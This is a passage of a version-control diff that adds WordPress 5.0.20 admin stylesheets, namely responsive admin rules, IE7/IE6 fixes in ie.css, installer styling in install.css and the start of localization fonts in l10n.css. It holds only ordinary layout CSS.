+		-webkit-appearance: none;
+		padding: 10px;
+	}
+
+	.widefat th input[type="checkbox"],
+	.widefat thead td input[type="checkbox"],
+	.widefat tfoot td input[type="checkbox"] {
+		margin-bottom: 8px;
+	}
+
+	input[type="checkbox"]:checked:before,
+	.widefat th input[type="checkbox"]:before,
+	.widefat thead td input[type="checkbox"]:before,
+	.widefat tfoot td input[type="checkbox"]:before {
+		font: normal 30px/1 dashicons;
+		margin: -3px -5px;
+	}
+
+	input[type="radio"],
+	input[type="checkbox"] {
+		height: 25px;
+		width: 25px;
+	}
+
+	.wp-admin p input[type="checkbox"],
+	.wp-admin p input[type="radio"] {
+		margin-top: -3px;
+	}
+
+	input[type="radio"]:checked:before {
+		vertical-align: middle;
+		width: 9px;
+		height: 9px;
+		margin: 7px;
+		line-height: 16px;
+	}
+
+	.wp-upload-form input[type="submit"] {
+		margin-top: 10px;
+	}
+
+	#wpbody select {
+		height: 36px;
+		font-size: 16px;
+	}
+
+	.wp-admin .button-cancel {
+		padding: 0;
+		font-size: 14px;
+	}
+
+	#adduser .form-field input,
+	#createuser .form-field input {
+		width: 100%;
+	}
+
+	.form-table {
+		box-sizing: border-box;
+	}
+
+	.form-table th,
+	.form-table td,
+	.label-responsive {
+		display: block;
+		width: auto;
+		vertical-align: middle;
+	}
+
+	.label-responsive {
+		margin: 0.5em 0;
+	}
+
+	.export-filters li {
+		margin-bottom: 0;
+	}
+
+	.form-table .color-palette td {
+		display: table-cell;
+		width: 15px;
+	}
+
+	.form-table table.color-palette {
+		margin-right: 10px;
+	}
+
+	textarea,
+	input {
+		font-size: 16px;
+	}
+
+	.form-table td input[type="text"],
+	.form-table td input[type="email"],
+	.form-table td input[type="password"],
+	.form-table td select,
+	.form-table td textarea,
+	.form-table span.description,
+	#profile-page .form-table textarea {
+		width: 100%;
+		font-size: 16px;
+		line-height: 1.5;
+		padding: 7px 10px;
+		display: block;
+		max-width: none;
+		box-sizing: border-box;
+	}
+
+	.form-table .form-required.form-invalid td:after {
+		float: right;
+		margin: -30px 3px 0 0;
+	}
+
+	#wpbody .form-table td select {
+		height: 40px;
+	}
+
+	input[type="text"].small-text,
+	input[type="search"].small-text,
+	input[type="password"].small-text,
+	input[type="number"].small-text,
+	input[type="number"].small-text,
+	.form-table input[type="text"].small-text {
+		width: auto;
+		max-width: 4.375em; /* 70px, enough for 4 digits to fit comfortably */
+		display: inline;
+		padding: 3px 6px;
+		margin: 0 3px;
+	}
+
+	#pass-strength-result {
+		width: 100%;
+		box-sizing: border-box;
+		padding: 8px;
+	}
+
+	p.search-box {
+		float: none;
+		position: absolute;
+		bottom: 0;
+		width: 98%;
+		height: 90px;
+		margin-bottom: 20px;
+	}
+
+	p.search-box input[name="s"] {
+		height: auto;
+		float: none;
+		width: 100%;
+		margin-bottom: 10px;
+		vertical-align: middle;
+		-webkit-appearance: none;
+	}
+
+	p.search-box input[type="submit"] {
+		margin-bottom: 10px;
+	}
+
+	.form-table span.description {
+		display: inline;
+		padding: 4px 0 0;
+		line-height: 1.4em;
+		font-size: 14px;
+	}
+
+	.form-table th {
+		padding-top: 10px;
+		padding-bottom: 0;
+		border-bottom: 0;
+	}
+
+	.form-table td {
+		margin-bottom: 0;
+		padding-bottom: 6px;
+		padding-top: 4px;
+		padding-left: 0;
+	}
+
+	.form-table.permalink-structure td code {
+		margin-left: 32px;
+	}
+
+	.form-table.permalink-structure td input[type="text"] {
+		margin-left: 32px;
+		margin-top: 4px;
+		width: 96%;
+	}
+
+	.form-table input.regular-text {
+		width: 100%;
+	}
+
+	.form-table label {
+		font-size: 14px;
+	}
+
+	.form-table fieldset label {
+		display: block;
+	}
+
+	#utc-time,
+	#local-time {
+		display: block;
+		float: none;
+		margin-top: 0.5em;
+	}
+
+	.form-field #domain {
+		max-width: none;
+	}
+
+	/* New Password */
+	.wp-pwd {
+		position: relative;
+	}
+
+	.wp-pwd [type="text"],
+	.wp-pwd [type="password"] {
+		padding-right: 40px;
+	}
+
+	.wp-pwd button.button {
+		background: transparent;
+		border: none;
+		box-shadow: none;
+		line-height: 2;
+		margin: 0;
+		padding: 5px 10px;
+		position: absolute;
+		right: 0;
+		top: 0;
+	}
+
+	.wp-pwd button.button:hover,
+	.wp-pwd button.button:focus,
+	.wp-pwd button.button:active {
+		background: transparent;
+	}
+
+	.wp-pwd .button .text {
+		display: none;
+	}
+
+	.options-general-php input[type="text"].small-text {
+		max-width: 6.25em;
+		margin: 0;
+	}
+
+	/* Privacy Policy settings screen */
+	.tools-privacy-policy-page form.wp-create-privacy-page {
+	    margin-bottom: 1em;
+	}
+
+ 	.tools-privacy-policy-page input#set-page,
+	.tools-privacy-policy-page select {
+		margin: 10px 0 0;
+	}
+
+	.tools-privacy-policy-page .wp-create-privacy-page span {
+	    display: block;
+	    margin-bottom: 1em;
+	}
+
+	.tools-privacy-policy-page .wp-create-privacy-page .button {
+	    margin-left: 0;
+	}
+
+	.wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column) {
+		display: table-cell;
+	}
+
+	.wp-list-table.privacy_requests.widefat th input,
+	.wp-list-table.privacy_requests.widefat thead td input {
+		margin-left: 5px;
+	}
+}
+
+@media only screen and (max-width: 768px) {
+	.form-field input[type="text"],
+	.form-field input[type="email"],
+	.form-field input[type="password"],
+	.form-field select,
+	.form-field textarea {
+		width: 99%;
+	}
+
+	.form-wrap .form-field {
+		padding:0;
+	}
+
+	/* users */
+	#profile-page .form-table textarea {
+		max-width: 400px;
+		width: auto;
+	}
+}
+
+@media only screen and (max-height: 480px), screen and (max-width: 450px) {
+	/*  Request Credentials / File Editor Warning */
+	.request-filesystem-credentials-dialog .notification-dialog,
+	.file-editor-warning .notification-dialog {
+		width: 100%;
+		height: 100%;
+		max-height: 100%;
+		position: fixed;
+		top: 0;
+		margin: 0;
+		left: 0;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	/* Color Picker Options */
+	.color-option {
+		width: 49%;
+	}
+}
+
+@media only screen and (max-width: 320px) {
+	.options-general-php .date-time-text.date-time-custom-text {
+		min-width: 0;
+		margin-right: 0.5em;
+	}
+}
+
+@keyframes rotation {
+	0% {
+		transform: rotate(0deg);
+	}
+	100% {
+		transform: rotate(359deg);
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/ie.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/ie.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/ie.css	(revision 56912)
@@ -0,0 +1,770 @@
+/* Fixes for IE 7 bugs */
+
+#dashboard-widgets form .input-text-wrap input,
+#dashboard-widgets form .textarea-wrap textarea {
+	width: 99%;
+}
+
+#dashboard-widgets form #title {
+	width: 98%;
+}
+
+#wpbody-content #dashboard-widgets .postbox-container {
+	width: 49.5%;
+}
+
+#wpbody-content #dashboard-widgets #postbox-container-2,
+#wpbody-content #dashboard-widgets #postbox-container-3,
+#wpbody-content #dashboard-widgets #postbox-container-4 {
+	float: right;
+	width: 50.5%;
+}
+
+#dashboard-widgets #postbox-container-3 .empty-container,
+#dashboard-widgets #postbox-container-4 .empty-container {
+	border: 0 none;
+	height: 0;
+	min-height: 0;
+}
+
+.wp-editor-wrap .wp-editor-tools,
+.wp-editor-wrap .wp-switch-editor,
+.wp-editor-wrap .wp-editor-tabs,
+.wp-editor-wrap .wp-editor-container {
+	zoom: 100%;
+}
+
+.wp-editor-wrap .wp-editor-container textarea.wp-editor-area {
+	width: 97%;
+}
+
+#post-body.columns-2 #postbox-container-1 {
+	padding-left: 19px;
+}
+
+.welcome-panel .wp-badge {
+	position: absolute;
+}
+
+.welcome-panel .welcome-panel-column:first-child {
+	width: 35%;
+}
+
+#adminmenuback {
+	left: 0;
+	background-image: none;
+}
+
+#adminmenuwrap {
+	position: static;
+}
+
+#adminmenu {
+	position: relative;
+}
+
+#adminmenu,
+#adminmenu a {
+	cursor: pointer;
+}
+
+#adminmenu li.wp-menu-separator,
+#adminmenu li.wp-menu-separator-last {
+	font-size: 1px;
+	line-height: 1;
+}
+
+#adminmenu a.menu-top {
+	border-bottom: 0 none;
+	border-top: 1px solid #ddd;
+}
+
+#adminmenu .separator {
+	font-size: 1px;
+	line-height: 1px;
+}
+
+#adminmenu .wp-submenu {
+	left: 110px;
+}
+
+#adminmenu .wp-submenu ul {
+	margin: 0;
+}
+
+.folded #wpcontent,
+.folded #wpfooter {
+	margin-left: 170px;
+}
+
+.folded #adminmenuback,
+.folded #adminmenuwrap,
+.folded #adminmenu,
+.folded #adminmenu li.menu-top {
+	width: 150px;
+}
+
+.folded #adminmenu .wp-submenu {
+	border-top-color: transparent;
+}
+
+.folded #adminmenu .wp-menu-name {
+	display: block;
+}
+
+.folded #adminmenu .wp-submenu.sub-open,
+.folded #adminmenu .opensub .wp-submenu {
+	left: 110px;
+}
+
+.folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu {
+	top: -1px;
+	position: relative;
+}
+
+.folded #adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head {
+	background-color: transparent;
+}
+
+#adminmenu .wp-submenu .wp-submenu-head {
+	border-top-color: #ddd;
+}
+
+.folded #adminmenu .wp-submenu ul {
+	margin-left: 5px;
+}
+
+#adminmenu li.menu-top {
+	margin-bottom: -2px;
+}
+
+#adminmenu .wp-menu-arrow {
+	display: none !important;
+}
+
+.js.folded #adminmenu li.menu-top {
+	display: block;
+	zoom: 100%;
+}
+
+ul#adminmenu {
+	z-index: 99;
+}
+
+#adminmenu li.menu-top a.menu-top {
+	min-width: auto;
+	width: auto;
+}
+
+#wpcontent #adminmenu li.wp-has-current-submenu a.wp-has-submenu {
+	font-style: normal;
+}
+
+#wpcontent #adminmenu .wp-submenu li {
+	padding: 0;
+}
+
+#adminmenu li.wp-has-current-submenu .wp-submenu {
+	left: -40px;
+}
+
+#adminmenu .wp-menu-image {
+	display: none !important;
+}
+
+#adminmenu a.menu-top .wp-menu-name {
+	padding-left: 8px;
+}
+
+#collapse-menu {
+	line-height: 23px;
+}
+
+#wpadminbar .ab-comments-icon {
+	padding-top: 7px;
+}
+
+
+.theme-browser .theme {
+	width: 30%;
+	margin: 0 3% 4% 0;
+	cursor: auto;
+}
+
+.theme-browser .theme:hover,
+.theme-browser .theme:focus {
+	cursor: auto;
+}
+
+.theme-browser .theme .theme-screenshot {
+	height: 180px;
+}
+
+.theme-browser .theme .theme-actions {
+	position: static;
+	background-color: #e8e8e8;
+}
+
+.theme-browser .theme .more-details {
+	display: none;
+}
+
+.plugins td,
+.plugins th {
+	border-top: 1px solid #ddd;
+}
+
+table.fixed th,
+table.fixed td {
+	border-top: 1px solid #ddd;
+}
+
+#wpbody-content input.button,
+#wpbody-content input.button-primary {
+	overflow: visible;
+}
+
+#dashboard-widgets h3 a {
+	height: 14px;
+	line-height: 14px;
+}
+
+#dashboard_browser_nag {
+	color: #fff;
+}
+
+#dashboard_browser_nag .browser-icon {
+	position: relative;
+}
+
+.tablenav-pages .current-page {
+	vertical-align: middle;
+}
+
+#wpbody-content .postbox {
+	border: 1px solid #ddd;
+}
+
+#wpbody-content .postbox .hndle {
+	margin-bottom: -1px;
+}
+
+.major-publishing-actions,
+.wp-submenu,
+.wp-submenu li,
+#template,
+#template div,
+#editcat,
+#addcat {
+	zoom: 100%;
+}
+
+.wp-menu-arrow {
+	height: 28px;
+}
+
+.submitbox {
+	margin-top: 10px;
+}
+
+/* Inline Editor */
+#wpbody-content .quick-edit-row-post .inline-edit-col-left {
+	width: 39%;
+}
+
+#wpbody-content .inline-edit-row-post .inline-edit-col-center {
+	width: 19%;
+}
+
+#wpbody-content .quick-edit-row-page .inline-edit-col-left {
+	width: 49%;
+}
+
+#wpbody-content .bulk-edit-row .inline-edit-col-left {
+	width: 29%;
+}
+
+.inline-edit-row .submit {
+	zoom: 100%;
+}
+
+.inline-edit-row fieldset label span.title {
+	display: block;
+	float: left;
+	width: 5em;
+}
+
+.inline-edit-row fieldset label span.input-text-wrap {
+	margin-left: 0;
+	zoom: 100%;
+}
+
+#wpbody-content .inline-edit-row fieldset label span.input-text-wrap input {
+	line-height: 130%;
+}
+
+#wpbody-content .inline-edit-row .input-text-wrap input {
+	width: 95%;
+}
+
+#wpbody-content .inline-edit-row .input-text-wrap input.inline-edit-password-input {
+	width: 8em;
+}
+/* end Inline Editor */
+
+#titlediv #title {
+	width: 98%;
+}
+
+.button,
+input[type="reset"],
+input[type="button"],
+input[type="submit"] {
+	padding: 0 8px;
+	line-height: 20px;
+	height: auto;
+}
+
+.button.button-large,
+input[type="reset"].button-large,
+input[type="button"].button-large,
+input[type="submit"].button-large {
+	padding: 0 10px;
+	line-height: 24px;
+	height: auto;
+}
+
+.button.button-small,
+input[type="reset"].button-small,
+input[type="button"].button-small,
+input[type="submit"].button-small {
+	padding: 0 6px;
+	line-height: 16px;
+	height: auto;
+}
+
+a.button {
+	margin: 1px;
+	padding: 1px 9px 2px;
+}
+
+a.button.button-large {
+	padding: 1px 11px 2px;
+}
+
+a.button.button-small {
+	padding: 1px 7px 2px;
+}
+
+#screen-options-wrap {
+	overflow: hidden;
+}
+
+#the-comment-list .comment-item,
+#post-status-info,
+#wpwrap,
+#wrap,
+#postdivrich,
+#postdiv,
+#poststuff,
+.metabox-holder,
+#titlediv,
+#post-body,
+#editorcontainer,
+.tablenav,
+.widget-liquid-left,
+.widget-liquid-right,
+#widgets-left,
+.widgets-sortables,
+#dragHelper,
+.widget .widget-top,
+.widget-control-actions,
+.tagchecklist,
+#col-container,
+#col-left,
+#col-right,
+.fileedit-sub {
+	display: block;
+	zoom: 100%;
+}
+
+p.search-box {
+	position: static;
+	float: right;
+	margin: -3px 0 4px;
+}
+
+#widget-list .widget {
+	display: inline;
+}
+
+#editorcontainer #content {
+	overflow: auto;
+	margin: auto;
+	width: 98%;
+}
+
+form#template div {
+	width: 100%;
+}
+
+.wp-editor-container .quicktags-toolbar input {
+	overflow: visible;
+	padding: 0 4px;
+}
+
+#poststuff h2 {
+	font-size: 1.6em;
+}
+
+#poststuff .inside #parent_id,
+#poststuff .inside #page_template,
+.inline-edit-row #post_parent,
+.inline-edit-row select[name="page_template"] {
+	width: 250px;
+}
+
+#submitdiv input,
+#submitdiv select,
+#submitdiv a.button {
+	position: relative;
+}
+
+#bh {
+	margin: 7px 10px 0 0;
+	float: right;
+}
+
+/* without this dashboard widgets appear in one column for some screen widths */
+div#dashboard-widgets {
+	padding-right: 1px;
+}
+
+.tagchecklist > li, .tagchecklist .ntdelbutton {
+	display: inline-block;
+	display: block;
+}
+
+.tagchecklist .ntdelbutton:focus .remove-tag-icon:before {
+	outline: 1px solid #5b9dd9;
+}
+
+.tablenav .button,
+.nav .button {
+	padding-top: 2px;
+	padding-bottom: 2px;
+}
+
+.tablenav select {
+	font-size: 13px;
+	display: inline-block;
+	vertical-align: top;
+	margin-top: 2px;
+}
+
+.tablenav .actions select {
+	width: 155px;
+}
+
+.subsubsub li {
+	display: inline;
+}
+
+a.post-state-format {
+	text-indent: 0;
+	line-height: 0;
+	font-size: 0;
+}
+
+table.ie-fixed {
+	table-layout: fixed;
+}
+
+.widefat tr,
+.widefat th,
+.widefat thead td,
+.widefat tfoot td {
+	margin-bottom: 0;
+	border-spacing: 0;
+}
+
+.widefat th input,
+.widefat thead td input,
+.widefat tfoot td input {
+	margin: 0 0 0 5px;
+}
+
+.widefat thead .check-column,
+.widefat tfoot .check-column {
+	padding-top: 6px;
+}
+
+.widefat tbody th.check-column,
+.media.widefat tbody th.check-column {
+	padding: 4px 0 0;
+}
+
+.widefat {
+	empty-cells: show;
+	border-collapse: collapse;
+}
+
+.tablenav a.button {
+	display: inline-block;
+	padding: 2px 5px;
+}
+
+.inactive-sidebar .widgets-sortables {
+	padding-bottom: 8px;
+}
+
+#available-widgets .widget-holder {
+	padding-bottom: 65px;
+}
+
+#widgets-left .inactive {
+	padding-bottom: 10px;
+}
+
+.widget-liquid-right .widget,
+.inactive-sidebar .widget {
+	position: relative;
+}
+
+.inactive-sidebar .widget {
+	display: block;
+	float: left;
+}
+
+#wpcontent .button-primary-disabled {
+	color: #9FD0D5;
+	background: #298CBA;
+}
+
+#the-comment-list .unapproved tr,
+#the-comment-list .unapproved td {
+	background-color: #ffffe0;
+}
+
+.imgedit-submit {
+	width: 300px;
+}
+
+#nav-menus-frame,
+#wpbody,
+.menu li {
+	zoom: 100%;
+}
+
+#update-nav-menu #post-body {
+	overflow:hidden;
+}
+
+.menu li {
+	min-width: 100%;
+}
+
+.menu li.sortable-placeholder {
+	min-width: 400px;
+}
+
+.available-theme {
+	display: inline;
+}
+
+.available-theme ul {
+	margin: 0;
+}
+
+.available-theme .action-links li {
+	padding-right: 7px;
+	margin-right: 7px;
+}
+
+.about-wrap .three-col.about-updates .col-2 {
+	width: 15%;
+}
+
+.about-wrap .about-password-meter input {
+	width: 98%;
+}
+
+.revisions-tickmarks,
+.revisions-tooltip {
+	display: none !important;
+}
+
+.revisions.pinned .revisions-controls {
+	position: relative;
+}
+
+input[type="password"],
+.login form .input {
+	font-family: sans-serif;
+}
+
+/* TinyMCE icons */
+.mce-btn i.mce-i-bold,
+.mce-btn i.mce-i-italic,
+.mce-btn i.mce-i-bullist,
+.mce-btn i.mce-i-numlist,
+.mce-btn i.mce-i-blockquote,
+.mce-btn i.mce-i-alignleft,
+.mce-btn i.mce-i-aligncenter,
+.mce-btn i.mce-i-alignright,
+.mce-btn i.mce-i-link,
+.mce-btn i.mce-i-unlink,
+.mce-btn i.mce-i-wp_more,
+.mce-btn i.mce-i-strikethrough,
+.mce-btn i.mce-i-spellchecker,
+.mce-btn i.mce-i-fullscreen,
+.mce-btn i.mce-i-wp_fullscreen,
+.mce-btn i.mce-i-wp_adv,
+.mce-btn i.mce-i-underline,
+.mce-btn i.mce-i-alignjustify,
+.mce-btn i.mce-i-forecolor,
+.mce-btn i.mce-i-pastetext,
+.mce-btn i.mce-i-pasteword,
+.mce-btn i.mce-i-removeformat,
+.mce-btn i.mce-i-charmap,
+.mce-btn i.mce-i-outdent,
+.mce-btn i.mce-i-indent,
+.mce-btn i.mce-i-undo,
+.mce-btn i.mce-i-redo,
+.mce-btn i.mce-i-help,
+.mce-btn i.mce-i-wp_help,
+.mce-btn i.mce-i-wp-media-library,
+.mce-btn i.mce-i-ltr,
+.mce-btn i.mce-i-wp_page,
+.mce-btn i.mce-i-hr,
+.mce-close {
+	font-family: 'tinymce', Arial;
+	font-style: normal;
+	font-weight: 400;
+	font-variant: normal;
+	font-size: 16px;
+	margin-left: 0;
+	padding-right: 0;
+}
+
+.mce-btn i.mce-i-wp_fullscreen,
+.qt-fullscreen {
+	-ie7-icon: '\e023';
+}
+
+.mce-btn i.mce-i-wp_more,
+.mce-btn i.mce-i-wp_page {
+	-ie7-icon: '\e027';
+}
+
+.mce-btn i.mce-i-wp_adv {
+	background-color: #a0a5aa;
+}
+
+.mce-btn i.mce-i-help,
+.mce-btn i.mce-i-wp_help {
+	-ie7-icon: '\e016';
+}
+
+
+/* IE6 leftovers */
+* html .row-actions {
+	visibility: visible;
+}
+
+* html div.widget-liquid-left,
+* html div.widget-liquid-right {
+	display: block;
+	position: relative;
+}
+
+* html #editorcontainer {
+	padding: 0;
+}
+
+* html #poststuff h2 {
+	margin-left: 0;
+}
+
+* html .stuffbox,
+* html .stuffbox input,
+* html .stuffbox textarea {
+	border: 1px solid #ddd;
+}
+
+* html div.widget-liquid-left {
+	width: 99%;
+}
+
+* html .widgets-sortables {
+	height: 50px;
+}
+
+* html a#content_resize {
+	right: -2px;
+}
+
+* html .widget-title h4 {
+	width: 205px;
+}
+
+* html #removing-widget .in-widget-title {
+	display: none;
+}
+
+* html .media-item .pinkynail {
+	height: 32px;
+	width: 40px;
+}
+
+* html .describe .field input.text,
+* html .describe .field textarea {
+	width: 440px;
+}
+
+* html input {
+	border: 1px solid #ddd;
+}
+
+* html .edit-box {
+	display: inline;
+}
+
+* html .postbox-container .meta-box-sortables {
+	height: 300px;
+}
+
+* html #wpbody-content #screen-options-link-wrap {
+	display: inline-block;
+	width: 150px;
+	text-align: center;
+}
+
+* html #wpbody-content #contextual-help-link-wrap {
+	display: inline-block;
+	width: 100px;
+	text-align: center;
+}
+
+* html #adminmenu {
+	margin-left: -80px;
+}
+
+* html .folded #adminmenu {
+	margin-left: -22px;
+}
+
+* html #wpcontent #adminmenu li.menu-top {
+	display: inline;
+	padding: 0;
+	margin: 0;
+}
+
+* html #wpfooter {
+	margin: 0;
+}
+
+* html #adminmenu div.wp-menu-image {
+	height: 29px;
+}
Index: /tags/5.0.20/src/wp-admin/css/install.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/install.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/install.css	(revision 56912)
@@ -0,0 +1,451 @@
+html {
+	background: #f1f1f1;
+	margin: 0 20px;
+}
+
+body {
+	background: #fff;
+	color: #444;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	margin: 140px auto 25px;
+	padding: 20px 20px 10px 20px;
+	max-width: 700px;
+	-webkit-font-smoothing: subpixel-antialiased;
+	box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+}
+
+a {
+	color: #0073aa;
+}
+
+a:hover,
+a:active {
+	color: #00a0d2;
+}
+
+a:focus {
+	color: #124964;
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.ie8 a:focus {
+	outline: #5b9dd9 solid 1px;
+}
+
+h1, h2 {
+	border-bottom: 1px solid #ddd;
+	clear: both;
+	color: #666;
+	font-size: 24px;
+	padding: 0;
+	padding-bottom: 7px;
+	font-weight: 400;
+}
+
+h3 {
+	font-size: 16px;
+}
+
+p, li, dd, dt {
+	padding-bottom: 2px;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+code, .code {
+	font-family: Consolas, Monaco, monospace;
+}
+
+ul, ol, dl {
+	padding: 5px 5px 5px 22px;
+}
+
+a img {
+	border:0
+}
+abbr {
+	border: 0;
+	font-variant: normal;
+}
+
+fieldset {
+	border: 0;
+	padding: 0;
+	margin: 0;
+}
+
+label {
+	cursor: pointer;
+}
+
+#logo {
+	margin: 6px 0 14px 0;
+	padding: 0 0 7px 0;
+	border-bottom: none;
+	text-align:center
+}
+#logo a {
+	background-image: url(../images/w-logo-blue.png?ver=20131202);
+	background-image: none, url(../images/wordpress-logo.svg?ver=20131107);
+	background-size: 84px;
+	background-position: center top;
+	background-repeat: no-repeat;
+	color: #444; /* same as login.css */
+	height: 84px;
+	font-size: 20px;
+	font-weight: 400;
+	line-height: 1.3em;
+	margin: -130px auto 25px;
+	padding: 0;
+	text-decoration: none;
+	width: 84px;
+	text-indent: -9999px;
+	outline: none;
+	overflow: hidden;
+	display: block;
+}
+
+#logo a:focus {
+	box-shadow: none;
+}
+
+.step {
+	margin: 20px 0 15px;
+}
+.step, th {
+	text-align: left;
+	padding: 0;
+}
+.language-chooser.wp-core-ui .step .button.button-large {
+	height: 36px;
+	font-size: 14px;
+	line-height: 33px;
+	vertical-align: middle;
+}
+textarea {
+	border: 1px solid #ddd;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	width: 100%;
+	box-sizing: border-box;
+}
+
+.form-table {
+	border-collapse: collapse;
+	margin-top: 1em;
+	width: 100%;
+}
+
+.form-table td {
+	margin-bottom: 9px;
+	padding: 10px 20px 10px 0;
+	font-size: 14px;
+	vertical-align: top
+}
+
+.form-table th {
+	font-size: 14px;
+	text-align: left;
+	padding: 10px 20px 10px 0;
+	width: 140px;
+	vertical-align: top;
+}
+
+.form-table code {
+	line-height: 18px;
+	font-size: 14px;
+}
+
+.form-table p {
+	margin: 4px 0 0 0;
+	font-size: 11px;
+}
+
+.form-table input {
+	line-height: 20px;
+	font-size: 15px;
+	padding: 3px 5px;
+	border: 1px solid #ddd;
+	box-shadow: inset 0 1px 2px rgba(0,0,0,0.07);
+}
+
+input,
+submit {
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+}
+
+.form-table input[type=text],
+.form-table input[type=email],
+.form-table input[type=url],
+.form-table input[type=password] {
+	width: 206px;
+}
+
+.form-table th p {
+	font-weight: 400;
+}
+
+.form-table.install-success th,
+.form-table.install-success td {
+	vertical-align: middle;
+	padding: 16px 20px 16px 0;
+}
+
+.form-table.install-success td p {
+	margin: 0;
+	font-size: 14px;
+}
+
+.form-table.install-success td code {
+	margin: 0;
+	font-size: 18px;
+}
+
+#error-page {
+	margin-top: 50px;
+}
+
+#error-page p {
+	font-size: 14px;
+	line-height: 18px;
+	margin: 25px 0 20px;
+}
+
+#error-page code, .code {
+	font-family: Consolas, Monaco, monospace;
+}
+
+.wp-hide-pw > .dashicons {
+	line-height: inherit;
+}
+
+#pass-strength-result {
+	background-color: #eee;
+	border: 1px solid #ddd;
+	color: #23282d;
+	margin: -2px 5px 5px 0px;
+	padding: 3px 5px;
+	text-align: center;
+	width: 218px;
+	box-sizing: border-box;
+	opacity: 0;
+}
+
+#pass-strength-result.short {
+	background-color: #f1adad;
+	border-color: #e35b5b;
+	opacity: 1;
+}
+
+#pass-strength-result.bad {
+	background-color: #fbc5a9;
+	border-color: #f78b53;
+	opacity: 1;
+}
+
+#pass-strength-result.good {
+	background-color: #ffe399;
+	border-color: #ffc733;
+	opacity: 1;
+}
+
+#pass-strength-result.strong {
+	background-color: #c1e1b9;
+	border-color: #83c373;
+	opacity: 1;
+}
+
+#pass1.short, #pass1-text.short {
+	border-color: #e35b5b;
+}
+
+#pass1.bad, #pass1-text.bad {
+	border-color: #f78b53;
+}
+
+#pass1.good, #pass1-text.good {
+	border-color: #ffc733;
+}
+
+#pass1.strong, #pass1-text.strong {
+	border-color: #83c373;
+}
+
+.pw-weak {
+	display: none;
+}
+
+.message {
+	border-left: 4px solid #dc3232;
+	padding: .7em .6em;
+	background-color: #fbeaea;
+}
+
+/* rtl:ignore */
+#dbname,
+#uname,
+#pwd,
+#dbhost,
+#prefix,
+#user_login,
+#admin_email,
+#pass1,
+#pass2 {
+	direction: ltr;
+}
+
+#pass1-text,
+.show-password #pass1 {
+	display: none;
+}
+
+.show-password #pass1-text
+{
+	display: inline-block;
+}
+
+.form-table span.description.important {
+	font-size: 12px;
+}
+
+
+/* localization */
+body.rtl,
+.rtl textarea,
+.rtl input,
+.rtl submit {
+	font-family: Tahoma, sans-serif;
+}
+
+:lang(he-il) body.rtl,
+:lang(he-il) .rtl textarea,
+:lang(he-il) .rtl input,
+:lang(he-il) .rtl submit {
+	font-family: Arial, sans-serif;
+}
+
+@media only screen and (max-width: 799px) {
+	body {
+		margin-top: 115px;
+	}
+	#logo a {
+		margin: -125px auto 30px;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+
+	.form-table {
+		margin-top: 0;
+	}
+
+	.form-table th,
+	.form-table td {
+		display: block;
+		width: auto;
+		vertical-align: middle;
+	}
+
+	.form-table th {
+		padding: 20px 0 0;
+	}
+
+	.form-table td {
+		padding: 5px 0;
+		border: 0;
+		margin: 0;
+	}
+
+	textarea,
+	input {
+		font-size: 16px;
+	}
+
+	.form-table td input[type="text"],
+	.form-table td input[type="email"],
+	.form-table td input[type="url"],
+	.form-table td input[type="password"],
+	.form-table td select,
+	.form-table td textarea,
+	.form-table span.description {
+		width: 100%;
+		font-size: 16px;
+		line-height: 1.5;
+		padding: 7px 10px;
+		display: block;
+		max-width: none;
+		box-sizing: border-box;
+	}
+
+}
+
+body.language-chooser {
+	max-width: 300px;
+}
+
+.language-chooser select {
+	padding: 8px;
+	width: 100%;
+	display: block;
+	border: 1px solid #ddd;
+	background-color: #fff;
+	color: #32373c;
+	font-size: 16px;
+	font-family: Arial, sans-serif;
+	font-weight: 400;
+}
+
+.language-chooser p {
+	text-align: right;
+}
+
+.screen-reader-input,
+.screen-reader-text {
+	border: 0;
+	clip: rect(1px, 1px, 1px, 1px);
+	-webkit-clip-path: inset(50%);
+	clip-path: inset(50%);
+	height: 1px;
+	margin: -1px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 1px;
+	word-wrap: normal !important;
+}
+
+.spinner {
+	background: url(../images/spinner.gif) no-repeat;
+	background-size: 20px 20px;
+	visibility: hidden;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	width: 20px;
+	height: 20px;
+	margin: 2px 5px 0;
+}
+
+.step .spinner {
+	display: inline-block;
+	vertical-align: middle;
+	margin-right: 15px;
+}
+
+.button.hide-if-no-js,
+.hide-if-no-js {
+	display: none;
+}
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+
+	.spinner {
+		background-image: url(../images/spinner-2x.gif);
+	}
+
+}
Index: /tags/5.0.20/src/wp-admin/css/l10n.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/l10n.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/l10n.css	(revision 56912)
@@ -0,0 +1,120 @@
+/*------------------------------------------------------------------------------
+  27.0 - Localization
+------------------------------------------------------------------------------*/
+
+/* RTL except Hebrew (see below): Tahoma as the first font; */
+body.rtl,
+body.rtl .press-this a.wp-switch-editor {
+	font-family: Tahoma, Arial, sans-serif;
+}
+
+/* Arial is best for RTL headings. */
+.rtl h1,
+.rtl h2,
+.rtl h3,
+.rtl h4,
+.rtl h5,
+.rtl h6 {
